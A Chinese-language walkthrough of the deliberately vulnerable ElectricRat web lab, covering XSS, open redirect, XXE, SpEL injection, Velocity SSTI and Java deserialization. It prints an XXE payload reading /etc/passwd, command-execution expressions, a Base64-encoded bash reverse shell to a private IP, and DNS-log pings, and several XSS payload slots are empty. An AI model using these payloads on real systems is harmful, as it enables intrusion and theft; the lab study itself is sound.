[张三的渗透日记]电气鼠靶场系统靶场walkthrough
字数 1242 2025-08-11 11:39:36
电气鼠靶场系统渗透测试教学文档
1. 靶场概述
电气鼠靶场系统是一个带有漏洞的Web应用程序,旨在为Web安全渗透测试学习者提供学习和实践的机会。靶场包含了多种常见的Web安全漏洞,包括但不限于:
- XSS跨站脚本攻击
- URL重定向漏洞
- XXE实体注入
- SpEL表达式注入
- SSTI模板注入
- JAVA反序列化漏洞
环境搭建
推荐使用Docker搭建环境:
unzip ElectricRat-docker.zip
sudo docker-compose up -d
sudo docker exec electricrat-mysql /bin/bash -c 'cd /data && mysqladmin -u root -pAAsd123rdsgA create mycms && mysqladmin -u root -pAAsd123rdsgA create mycms_gbk && mysql -u root -pAAsd123rdsgA -Dmycms < dump-mycms-202302201704.sql && mysql -u root -pAAsd123rdsgA -Dmycms_gbk < dump-mycms_gbk-202302201704.sql'
访问地址:http://xxx:12666/ElectricRat/index.html
2. XSS跨站脚本攻击
2.1 反射型XSS(GET)
- 触发方式:参数通过GET方式传参
- 过滤情况:无过滤
- Payload:
2.2 反射型XSS(POST)
- 触发方式:参数通过POST方式传参
- 过滤情况:无过滤
- Payload:
2.3 存储型XSS
- 过滤情况:无过滤
- Payload:
2.4 DOM型XSS
- 过滤情况:无过滤
- Payload:
2.5 XSS盲打
- 场景:模拟留言板功能,攻击者可利用存储型XSS漏洞攻击查看留言板的后台管理员
- Payload:
2.6 XSS过滤绕过
情况1:过滤<script>标签
- 过滤代码:
let content = $("#own-text")[0].value.replaceAll("<script", "") - Payload:
情况2:转义实体编码
- 过滤代码:
function htmlEncode(str) { let s = ""; if (str.length === 0) { return ""; } s = str.replace(/&/g, "&amp;"); s = s.replace(/</g, "&lt;"); s = s.replace(/>/g, "&gt;"); s = s.replace(/ /g, " "); s = s.replace(/\'/g, "&apos;"); s = s.replace(/\"/g, "&quot;"); return s; } - 绕过思路:利用单引号未完全过滤的问题
- Payload:
'OnClick='alert(/雨下整夜/)'
情况3:href输出
- 过滤情况:无过滤
- Payload:
123><
情况4:JS输出
- 代码分析:
let content = $("#own-text")[0].value; let oScript = document.createElement('script'); oScript.type = 'text/javascript'; oScript.text = `let num = '${content}'; num += "1";`; - Payload1(针对innerHTML):
- Payload2(针对动态生成的JS):
';alert(/雨下整夜/);</script>//
3. URL重定向漏洞
漏洞原理
利用window.location.href方法实现跳转,可能导致钓鱼攻击。
实际应用场景
- 内容分享功能
- 登录成功跳转功能
挖掘要点
- 检查所有URL参数输入点
- 检查所有跳转功能点
4. XXE实体注入
漏洞代码分析
public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputStream ist = request.getInputStream();
Document doc = db.parse(ist);
String username = doc.getElementsByTagName("username").item(0).getTextContent();
String password = doc.getElementsByTagName("password").item(0).getTextContent();
int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
}
// ...
}
利用Payload
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe1 SYSTEM "file:///etc/passwd">
]>
<yxzy>
<username>&xxe1;</username>
<password>&xxe1;</password>
</yxzy>
5. SpEL表达式注入
漏洞背景
类似经典的whitelabel error page SpEL RCE漏洞,Spring Boot处理参数值出错时,URL中的参数值会被当作SpEL表达式解析执行。
漏洞代码
public class SpelServlet extends BaseServlet {
public void spelView(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String apply = request.getHeader("apply");
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(apply);
System.out.println(expression.getValue().toString());
response.getWriter().append(expression.getValue().toString());
}
}
利用Payload
-
基本测试:
2*2 -
命令执行:
T(java.lang.Runtime).getRuntime().exec("whoami") -
反弹Shell(Base64编码):
T(java.lang.Runtime).getRuntime().exec("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'") -
DNS外带:
T(java.lang.Runtime).getRuntime().exec("ping zxo5b9.dnslog.cn")
6. SSTI模板注入
漏洞代码
使用Velocity模板引擎:
public void showTemple(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String template = request.getParameter("template");
Velocity.init();
VelocityContext context = new VelocityContext();
StringWriter sw = new StringWriter();
Velocity.evaluate(context, sw, "test", template);
}
利用Payload
#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7m6z1d.dnslog.cn")
7. JAVA反序列化
漏洞流程
getRemeberMedeserializesetRememberMeserializeView
关键代码
public void serializeView(HttpServletRequest request, HttpServletResponse response) {
try {
Cookie hasCookie = checkCookie(request);
byte[] decode = Base64.getDecoder().decode(hasCookie.getValue());
ByteArrayInputStream bytes = new ByteArrayInputStream(decode);
ObjectInputStream in = new ObjectInputStream(bytes);
Object o = in.readObject();
response.getWriter().append(((UserSerializeEntity)o).getRes());
}
// ...
}
利用Payload
反弹Shell(Base64编码):
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
8. 总结
电气鼠靶场系统涵盖了多种常见的Web安全漏洞,通过实践这些漏洞可以帮助学习者:
- 理解各类漏洞的原理和利用方式
- 掌握绕过常见过滤的方法
- 学习漏洞挖掘的思路和技巧
- 提高实际渗透测试的能力
建议学习者按照漏洞类型逐个实践,并尝试自行编写利用代码,深入理解每种漏洞的利用方式和防御措施。